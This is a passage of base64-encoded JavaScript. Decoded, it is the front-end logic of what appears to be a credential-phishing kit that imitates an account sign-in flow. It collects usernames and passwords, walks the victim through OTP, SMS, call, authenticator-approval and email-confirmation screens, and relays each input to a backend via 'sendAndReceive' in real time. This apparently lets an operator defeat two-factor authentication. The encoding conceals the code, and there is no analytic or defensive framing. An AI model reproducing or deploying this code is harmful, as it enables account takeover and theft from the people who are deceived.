b2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRDb2xvcikgew0KICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSAiIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJsZXRzIHRyeSBzb21ldGhpbmcgZWxzZSBvciBjb21lIGJhY2siKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3NpZ25pbmFub3RoZXJlcnJvcicpLnF1ZXJ5U2VsZWN0b3IoJy50aXRsZScpLnRleHRDb250ZW50ID0gcmVzcG9uc2VbJ3RpdGxlJ107DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygnc2lnbmluYW5vdGhlcmVycm9yZGVzYycsMixyZXNwb25zZVsnc2lnbmluYW5vdGhlcmVycm9yZGVzYyddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9zaWduaW5hbm90aGVyZXJyb3InKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnc2lnbmluYW5vdGhlcmVycm9yJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKTsNCiAgICAgICAgICAgIHZpZXcgPSAic2lnbmluYW5vdGhlcmVycm9yIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJ5b3UgZG9udCBoYXZlIGFjY2VzcyIpew0KICAgICAgICAgICAgLy8gY2hlY2tlcnJvcmRlc2MoJ3lvdWRvbnRoYXZlYWNjZXNzc2lnbm91dCcsMixyZXNwb25zZVsneW91ZG9udGhhdmVhY2Nlc3NkZXNjJ10pOw0KICAgICAgICAgICAgLy8gY2hlY2tlcnJvcmRlc2MoJ3lvdWRvbnRoYXZlYWNjZXNtb3JlZGV0YWlscycsMixyZXNwb25zZVsnbW9yZWRldGFpbHNsaW5rJ10pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3lvdWRvbnRoYXZlYWNjZXNzJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gInlvdWRvbnRoYXZlYWNjZXNzIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJvdHAgc2VudCIpew0KICAgICAgICAgICAgaWYocmVzcG9uc2VbJ3R5cGUnXSA9PSAib3RwIil7DQogICAgICAgICAgICBvdHB0eXBlID0gMTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKHJlc3BvbnNlWyd0eXBlJ10gPT0gInNtcyIpew0KICAgICAgICAgICAgb3RwdHlwZSA9IDI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihyZXNwb25zZVsndHlwZSddID09ICJjYWxsb3RwIil7DQogICAgICAgICAgICBvdHB0eXBlID0gMzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl8yZmEiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvdHBpbWciKS5zZXRBdHRyaWJ1dGUoInNyYyIsIHJlc3BvbnNlWydpbWFnZV9zcmMnXSk7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygnb3RwJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnb3RwJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbignb3RwJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9vdHAnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAib3RwIjsNCiAgICAgICAgICAgIHZpZXd0eXBlID0gbnVsbDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJhcHByb3ZlIGF1dGggcmVxdWVzdCBhdXRoIGFwcCIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yXzJmYSIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dGhhcHBpbWciKS5zZXRBdHRyaWJ1dGUoInNyYyIsIHJlc3BvbnNlWydpbWFnZV9zcmMnXSk7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygnYXV0aGFwcCcsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ2F1dGhhcHAnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdhdXRoYXBwJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJhdXRoYXBwY29kZSIpLnRleHRDb250ZW50ID0gcmVzcG9uc2VbJ2F1dGhhcHBjb2RlJ107DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYXV0aGFwcCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJhdXRoYXBwIjsNCiAgICAgICAgICAgIHZpZXd0eXBlID0gbnVsbDsNCiAgICAgICAgICAgIHdhaXQyZmEoJ2FwcCcscmVzcG9uc2VbJ21ldGhvZGlkJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImFwcHJvdmUgYXV0aCByZXF1ZXN0IGNhbGxpbmciKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2F1dGhjYWxsJykucXVlcnlTZWxlY3RvcignLmJhY2snKS5mb2N1cygpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yXzJmYSIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dGhjYWxsaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ2F1dGhjYWxsJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnYXV0aGNhbGwnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdhdXRoY2FsbCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYXV0aGNhbGwnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAiYXV0aGNhbGwiOw0KICAgICAgICAgICAgdmlld3R5cGUgPSBudWxsOw0KICAgICAgICAgICAgd2FpdDJmYSgnY2FsbCcpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImVycm9yIil7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJzJmYScscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSk7DQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCcyZmEnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJzJmYScsMSxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAidmVyaWZ5ZW1haWwiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl8yZmEiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCd2ZXJpZnllbWFpbCcsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ2NvbmZpcm1lbWFpbCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ2NvbmZpcm1lbWFpbCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fY29uZmlybWVtYWlsJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gImNvbmZpcm1lbWFpbCI7DQogICAgICAgICAgICB2aWV3dHlwZSA9IG51bGw7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAicmVxdWVzdCB3YXNudCBzZW50Iil7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2F1dGhhcHBlcnJvcicpLnF1ZXJ5U2VsZWN0b3IoJy50aXRsZScpLnRleHRDb250ZW50ID0gIlJlcXVlc3Qgd2Fzbid0IHNlbnQiOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYXV0aGFwcGVycm9yZGVzYyIpLmNsYXNzTGlzdC50b2dnbGUoJ2Vycm9yJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRoYXBwZXJyb3JkZXNjJykuaW5uZXJIVE1MID0gYDxzcGFuPlNvcnJ5LCB3ZSdyZSBoYXZpbmcgdHJvdWJsZSB2ZXJpZnlpbmcgeW91ciBhY2NvdW50LiBQbGVhc2UgdHJ5IGFnYWluLjwvc3Bhbj48YSBpZD0iVmlld0RldGFpbHMiIGNsYXNzPSJuby13cmFwIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiPlZpZXcgZGV0YWlsczwvYT5gOw0KICAgICAgICB2aWV3ID0gImF1dGhhcHBlcnJvciI7DQogICAgICAgIHZpZXd0eXBlID0gbnVsbDsNCiAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgIH0pDQogICAgICAgLmNhdGNoKGVycm9yID0+IHsNCiAgICAgICBsb2FkaW5nYW5pbWF0aW9uKDEpOw0KICAgICAgIGNvbnNvbGUuZXJyb3IoJ0Vycm9yOicsIGVycm9yKTsNCiAgICAgICB9KTsNCiAgICB9DQoNCiAgICBjb25zdCB1bmFtZUlucCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfdW5hbWUnKTsNCiAgICBjb25zdCBwd2RJbnAgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wX3B3ZCcpOw0KICAgIGNvbnN0IHB3ZElucGxpdmUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wX3B3ZF9saXZlJyk7DQoNCiAgICBsZXQgdW5hbWVWYWwgPSBwd2RWYWwgPSBmYWxzZTsNCiAgICAvLy8vL25leHQgYnV0dG9uDQogICAgY29uc3Qgbnh0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J0bl9uZXh0Jyk7DQoNCiAgICBueHQuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoKSA9PiB7DQogICAgICAgIHZhbGlkYXRlKCk7DQogICAgfSkNCg0KICAgIC8vLy8vL3NpZ24gaW4gYnV0dG9uDQoNCiAgICBjb25zdCBzaWcgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnRuX3NpZycpOw0KDQogICAgc2lnLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKCkgPT4gew0KICAgICAgICB2YWxpZGF0ZSgpOw0KICAgIH0pDQoNCiAgICBjb25zdCBzaWdsaXZlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J0bl9zaWdfbGl2ZScpOw0KDQogICAgc2lnbGl2ZS5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsICgpID0+IHsNCiAgICAgICAgdmFsaWRhdGUoKTsNCiAgICB9KQ0KDQogICAgY29uc3QgY2FuY2VsYnRucyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5idG5fY2FuJyk7DQogICAgZm9yIChsZXQgaSA9IDA7IGkgPCBjYW5jZWxidG5zLmxlbmd0aDsgaSsrKSB7DQogICAgICAgIGNhbmNlbGJ0bnNbaV0uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCAoKSA9PiB7DQogICAgICAgIGxvYWRpbmdhbmltYXRpb24oMCk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXycrdmlldykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJyc7DQogICAgICAgIGxvYWRpbmdhbmltYXRpb24oMSk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3VuYW1lJykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJyc7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uXyIrdmlldykuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3VuYW1lJykucXVlcnlTZWxlY3RvcignLnNlY3Rpb25jb250ZW50Jykuc3R5bGUuYW5pbWF0aW9uID0gJyc7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3VuYW1lJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgIGlmIChkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRJbWFnZSkgew0KICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRJbWFnZSA9ICIiOw0KICAgICAgICB9DQogICAgICAgIGlmIChkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRDb2xvcikgew0KICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICIiOw0KICAgICAgICB9DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfdW5hbWUnKS52YWx1ZSA9ICIiOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3JfcHdkJykuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfcHdkJykudmFsdWUgPSAiIjsNCiAgICAgICAgdmlldyA9ICd1bmFtZSc7DQogICAgfSk7DQogICAgfQ0KDQogICAgY29uc3QgcHJvdGVjdGJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidG5fcHJvdGVjdGFjY291bnQnKTsNCg0KICAgIGZ1bmN0aW9uIHByb3RlY3RzZW5kKGVsZW1lbnQpIHsNCiAgICBpZiAocHJvdGVjdGJ0bi50ZXh0Q29udGVudCA9PSAiU2VuZCBDb2RlIikgew0KICAgIGNvbnN0IGVsZW1lbnRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnaW5wdXRbdHlwZT0icmFkaW8iXScpOw0KICAgIGxldCBjbGlja2VkRWxlbWVudEluZGV4ID0gMDsNCiAgICBmb3IgKGxldCBpID0gMDsgaSA8IGVsZW1lbnRzLmxlbmd0aDsgaSsrKSB7DQogICAgICAgIGlmIChlbGVtZW50c1tpXSA9PT0gZWxlbWVudCkgew0KICAgICAgICBjbGlja2VkRWxlbWVudEluZGV4ID0gaTsNCiAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBjb25zb2xlLmxvZyhjbGlja2VkRWxlbWVudEluZGV4KTsNCiAgICBjb25zdCBwcm90ZWN0aW5wdXQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdbYXJpYS1kZXNjcmliZWRieT0iaVByb29mSW5wdXRFcnJvciJdJyk7DQoNCiAgICBsb2FkaW5nYW5pbWF0aW9uKDApOw0KICAgIHNlbmRBbmRSZWNlaXZlKCdlbnRlcnByb3RlY3QnLCBbY2xpY2tlZEVsZW1lbnRJbmRleCxwcm90ZWN0aW5wdXQudmFsdWVdLDEpDQogICAgICAudGhlbihyZXNwb25zZSA9PiB7DQogICAgICAgICAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2VbJ21lc3NhZ2UnXSAhPT0gIndhaXRpbmcgZm9yIHByZXZpb3VzIHJlcXVlc3QgdG8gY29tcGxldGUiKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9uKDEpOw0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gIm90cCBzZW50Iil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfMmZhIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3RwaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ290cCcsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ290cCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ290cCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl8yZmEiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX290cCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJvdHAiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImVycm9yIil7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJzJmYScscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSk7DQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCcyZmEnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJzJmYScsMSxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9KQ0KICAgICAgICAgICAgLmNhdGNoKGVycm9yID0+IHsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb24oMSk7DQogICAgICAgICAgICBjb25zb2xlLmVycm9yKCdFcnJvcjonLCBlcnJvcik7DQogICAgICAgICAgICB9KTsNCiAgICAgICB9DQogICAgICAgaWYgKHByb3RlY3RidG4udGV4dENvbnRlbnQgPT0gIk5leHQiKSB7DQoNCiAgICAgICB9DQogICAgICAgaWYgKHByb3RlY3RidG4udGV4dENvbnRlbnQgPT0gIlZlcmlmeSBPbmxpbmUiKSB7DQoNCiAgICAgICB9DQogICAgfQ0KDQogICAgLy8gbGl2ZSBzdHVmZg0KICAgIGZ1bmN0aW9uIHR3b2ZhbGl2ZShlbGUpIHsNCiAgICBpZih2aWV3ID09ICJjb25maXJtZW1haWxvcnBob25lX2xpdmUiKXsNCiAgICBsZXQgbWV0aG9kID0gbnVsbDsNCiAgICBsZXQgaW5wcGFzcyA9IG51bGw7DQogICAgaWYodmlld3R5cGUgPT0gImVtYWlsIil7DQogICAgbWV0aG9kID0gIkVtYWlsT1RQX0xpdmUiOw0KICAgIH0NCiAgICBpZih2aWV3dHlwZSA9PSAicGhvbmUiKXsNCiAgICBtZXRob2QgPSAiT25lV2F5U01TX0xpdmUiOw0KICAgIH0NCiAgICBsZXQgY29uZmlybWVtYWlsb3JwaG9uZWlucCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfY29uZmlybWVtYWlsb3JwaG9uZV9saXZlJykudmFsdWU7DQogICAgbGV0IGNvbmZpcm1lbWFpbG9ycGhvbmV2YWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29uZmlybWVtYWlsb3JwaG9uZV9saXZlX2hpZGRlbicpLnZhbHVlOw0KICAgIGlmKHZpZXd0eXBlID09ICJlbWFpbCIpew0KICAgIGlmKGNvbmZpcm1lbWFpbG9ycGhvbmV2YWwuc2xpY2UoMCwgMikgIT09IGNvbmZpcm1lbWFpbG9ycGhvbmVpbnAuc2xpY2UoMCwgMikpew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9jb25maXJtZW1haWxvcnBob25lX2xpdmUiKS5zdHlsZS5tYXJnaW5Cb3R0b20gPSAiMTRweCI7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9jb25maXJtZW1haWxvcnBob25lX2xpdmUiKS5pbm5lclRleHQgPSAiVGhhdCBkb2Vzbid0IG1hdGNoIHRoZSBhbHRlcm5hdGUgZW1haWwgYXNzb2NpYXRlZCB3aXRoIHlvdXIgYWNjb3VudC4gVGhlIGNvcnJlY3QgZW1haWwgc3RhcnRzIHdpdGggXCIiK2NvbmZpcm1lbWFpbG9ycGhvbmV2YWwuc2xpY2UoMCwgMikrIlwiLiI7DQogICAgfQ0KICAgIGlmKGNvbmZpcm1lbWFpbG9ycGhvbmV2YWwuc2xpY2UoMCwgMikgPT0gY29uZmlybWVtYWlsb3JwaG9uZWlucC5zbGljZSgwLCAyKSl7DQogICAgaW5wcGFzcyA9IDE7DQogICAgfQ0KICAgIH0NCg0KICAgIGlmKHZpZXd0eXBlID09ICJwaG9uZSIpew0KICAgIGlmKGNvbmZpcm1lbWFpbG9ycGhvbmV2YWwuc2xpY2UoLTIpICE9PSBjb25maXJtZW1haWxvcnBob25laW5wLnNsaWNlKC0yKSl7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpLnN0eWxlLm1hcmdpbkJvdHRvbSA9ICIxNHB4IjsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfY29uZmlybWVtYWlsb3JwaG9uZV9saXZlIikuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX2NvbmZpcm1lbWFpbG9ycGhvbmVfbGl2ZSIpLmlubmVyVGV4dCA9ICJUaGF0IGRvZXNuJ3QgbWF0Y2ggdGhlIHBob25lIG51bWJlciBhc3NvY2lhdGVkIHdpdGggeW91ciBhY2NvdW50LiBUaGUgY29ycmVjdCBudW1iZXIgZW5kcyBpbiAiK2NvbmZpcm1lbWFpbG9ycGhvbmV2YWwuc2xpY2UoLTIpKyIuIjsNCiAgICB9DQogICAgaWYoY29uZmlybWVtYWlsb3JwaG9uZXZhbC5zbGljZSgtMikgPT0gY29uZmlybWVtYWlsb3JwaG9uZWlucC5zbGljZSgtMikpew0KICAgIGlucHBhc3MgPSAxOw0KICAgIH0NCiAgICB9DQoNCiAgICBpZihpbnBwYXNzID09IDEpew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9jb25maXJtZW1haWxvcnBob25lX2xpdmUiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9jb25maXJtZW1haWxvcnBob25lX2xpdmUiKS5pbm5lclRleHQgPSAiIjsNCiAgICBsb2FkaW5nYW5pbWF0aW9uKDApOw0KICAgIHNlbmRBbmRSZWNlaXZlKCd0d29mYXNlbGVjdGVkJywgW21ldGhvZCxjb25maXJtZW1haWxvcnBob25laW5wXSwxKQ0KICAgICAgLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZVsnbWVzc2FnZSddICE9PSAid2FpdGluZyBmb3IgcHJldmlvdXMgcmVxdWVzdCB0byBjb21wbGV0ZSIpIHsNCiAgICAgICAgbG9hZGluZ2FuaW1hdGlvbigxKTsNCiAgICAgICAgLy8gbGl2ZSBzdHVmZg0KICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAic2lnbmluYmxvY2tlZCBsaXZlIil7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaWduaW5fYmxvY2tlZF9saXZlX2VtYWlsIikuaW5uZXJUZXh0ID0gcmVzcG9uc2VbJ2VtYWlsJ107DQogICAgICAgIGNoZWNrZXJyb3JkZXNjKCdzaWduaW5fYmxvY2tlZF9saXZlJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ3NpZ25pbl9ibG9ja2VkX3JlYXNvbicsMixyZXNwb25zZVsncmVhc29uJ10pOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9zaWduaW5fYmxvY2tlZF9saXZlJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgIHZpZXcgPSAic2lnbmluX2Jsb2NrZWRfbGl2ZSI7DQogICAgICAgIH0NCiAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gInByb3RlY3RhY2NvdW50IGxpdmUiKXsNCiAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ3Byb3RlY3RfYWNjb3VudF9saXZlJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fJyt2aWV3KS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fcHJvdGVjdF9hY2NvdW50X2xpdmUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgdmlldyA9ICJwcm90ZWN0X2FjY291bnRfbGl2ZSI7DQogICAgICAgIH0NCiAgICAgICAgLy8gbGl2ZSBzdHVmZg0KICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2U